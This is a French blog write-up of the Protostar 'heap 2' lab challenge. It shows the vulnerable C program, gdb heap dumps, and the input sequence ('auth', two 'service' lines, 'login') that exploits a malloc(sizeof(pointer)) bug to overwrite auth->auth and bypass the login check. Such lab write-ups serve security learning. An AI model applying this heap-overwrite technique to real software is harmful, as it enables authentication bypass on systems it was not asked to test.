Protostar – heap 2

hier j’ai écris le write-up du challenge heap1 de la VM Protostar, aujourd’hui c’est au tour du challenge heap 2 !

Il est possible de télécharger cette machine virtuelle ici.

Voici le code source du binaire à exploiter :

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
  char name[32];
  int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
  char line[128];

  while(1) {
      printf("[ auth = %p, service = %p ]\n", auth, service);

      if(fgets(line, sizeof(line), stdin) == NULL) break;
      
      if(strncmp(line, "auth ", 5) == 0) {
          auth = malloc(sizeof(auth));
          memset(auth, 0, sizeof(auth));
          if(strlen(line + 5) < 31) {
              strcpy(auth->name, line + 5);
          }
      }
      if(strncmp(line, "reset", 5) == 0) {
          free(auth);
      }
      if(strncmp(line, "service", 6) == 0) {
          service = strdup(line + 7);
      }
      if(strncmp(line, "login", 5) == 0) {
          if(auth->auth) {
              printf("you have logged in already!\n");
          } else {
              printf("please enter your password\n");
          }
      }
  }
}

Le but de ce challenge est d’afficher la chaine de caractères « you have logged in already! »

Lançons le programme sous gdb :

    user@protostar:/opt/protostar/bin$ gdb -q ./heap2
    Reading symbols from /opt/protostar/bin/heap2…done.
    (gdb) run
    Starting program: /opt/protostar/bin/heap2
    [ auth = (nil), service = (nil) ]
    auth neolex
    [ auth = 0x804c008, service = (nil) ]
    ^C
    Program received signal SIGINT, Interrupt.
    0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
    82    ../sysdeps/unix/syscall-template.S: No such file or directory.
    in ../sysdeps/unix/syscall-template.S
    Current language:  auto
    The current source language is « auto; currently asm ».
    (gdb) info proc mappings
    process 1601
    cmdline = ‘/opt/protostar/bin/heap2’
    cwd = ‘/opt/protostar/bin’
    exe = ‘/opt/protostar/bin/heap2’
    Mapped address spaces:

    Start Addr   End Addr       Size     Offset objfile
    0x8048000  0x804b000     0x3000          0        /opt/protostar/bin/heap2
    0x804b000  0x804c000     0x1000     0x3000        /opt/protostar/bin/heap2
      0x804c000  0x804d000     0x1000          0           [heap]
    0xb7e96000 0xb7e97000     0x1000          0
    0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
    0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
    0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
    0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
    0xb7fd9000 0xb7fdc000     0x3000          0
    0xb7fde000 0xb7fe2000     0x4000          0
    0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
    0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
    0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
    0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
    0xbffeb000 0xc0000000    0x15000          0           [stack]
    (gdb) x/20wx 0x804c000
    0x804c000:    0x00000000    0x00000011    0x6c6f656e    0x000a7865
    0x804c010:    0x00000000    0x00000ff1    0x00000000    0x00000000
    0x804c020:    0x00000000    0x00000000    0x00000000    0x00000000
    0x804c030:    0x00000000    0x00000000    0x00000000    0x00000000
    0x804c040:    0x00000000    0x00000000    0x00000000    0x00000000

Ligne 39 vous pouvez voir l’espace alloué pour la structure auth.

La chaîne de caractère « neolex » est marqué a la ligne 39, ici :  0x6c6f656e    0x000a7865

Et la valeur de auth est ecrite en gras et est égale à 0, Ligne 41

Il y à problème d’allocation de memoire lorsque l’on à envoyé la chaine « auth neolex ».

Comme vous pouvez le voir le 0x00000011 indique qu’il y a 0x10 octets alloués pour la structure alors qu’il en faudrais bien plus . ( 0x11 car malloc ajoute 1 pour indiquer que la memoire est occupée )

Le probleme vient du fait que dans le code de nombreuse chose son nommée « auth », donc lors du malloc le auth utilisé est celui de la variable et non de la structure.

1
auth = malloc(sizeof(auth));

Donc lorsque strdup se lancera il écrire après les 0x10 octets reservé pour la structure.

Et va donc ecrire par dessus la structure , donc on pourra changer la valeur de auth->auth et paraitre connectés :

 

(gdb) run
Starting program: /opt/protostar/bin/heap2
[ auth = (nil), service = (nil) ]
auth neolex
[ auth = 0x804c008, service = (nil) ]
service AAAA
[ auth = 0x804c008, service = 0x804c018 ]

examinons le heap pour voir si on ecrit bien par dessus notre structure :

(gdb) x/20wx 0x804c000
0x804c000:    0x00000000    0x00000011    0x6c6f656e    0x000a7865
0x804c010:    0x00000000    0x00000011    0x41414120    0x00000a41
0x804c020:    0x00000000    0x00000fe1    0x00000000    0x00000000
0x804c030:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c040:    0x00000000    0x00000000    0x00000000    0x00000000

c’est bien le cas , ecrivons une autre fois service pour ecraser auth->auth

service BBBB
[ auth = 0x804c008, service = 0x804c028 ]
^C
Program received signal SIGINT, Interrupt.
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82    in ../sysdeps/unix/syscall-template.S
(gdb) x/20wx 0x804c000
0x804c000:    0x00000000    0x00000011    0x6c6f656e    0x000a7865
0x804c010:    0x00000000    0x00000011    0x41414120    0x00000a41
0x804c020:    0x00000000    0x00000011    0x42424220    0x00000a42
0x804c030:    0x00000000    0x00000fd1    0x00000000    0x00000000
0x804c040:    0x00000000    0x00000000    0x00000000    0x00000000

Vous pouvez le voir en rouge , l’adresse censée  contenir auth->auth à été ecrasée par nos BBBB …

verifions celà :

(gdb) print auth->auth
$1 = 1111638560

(gdb) x/wx auth->auth
0x42424220:    Cannot access memory at address 0x42424220

Maintenant que le auth->auth à été écrit nous somme considéré comme connecté , testons la fonction login :

(gdb) c
Continuing.
login
you have logged in already!
[ auth = 0x804c008, service = 0x804c028 ]

Voilà ! Nous avons réussi le challenge !

Exploitons le en local :

$./heap2
[ auth = (nil), service = (nil) ]
auth Neolex
[ auth = 0x9395818, service = (nil) ]
service AAAA
[ auth = 0x9395818, service = 0x9395828 ]
service BBBB
[ auth = 0x9395818, service = 0x9395838 ]
login
you have logged in already!

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée.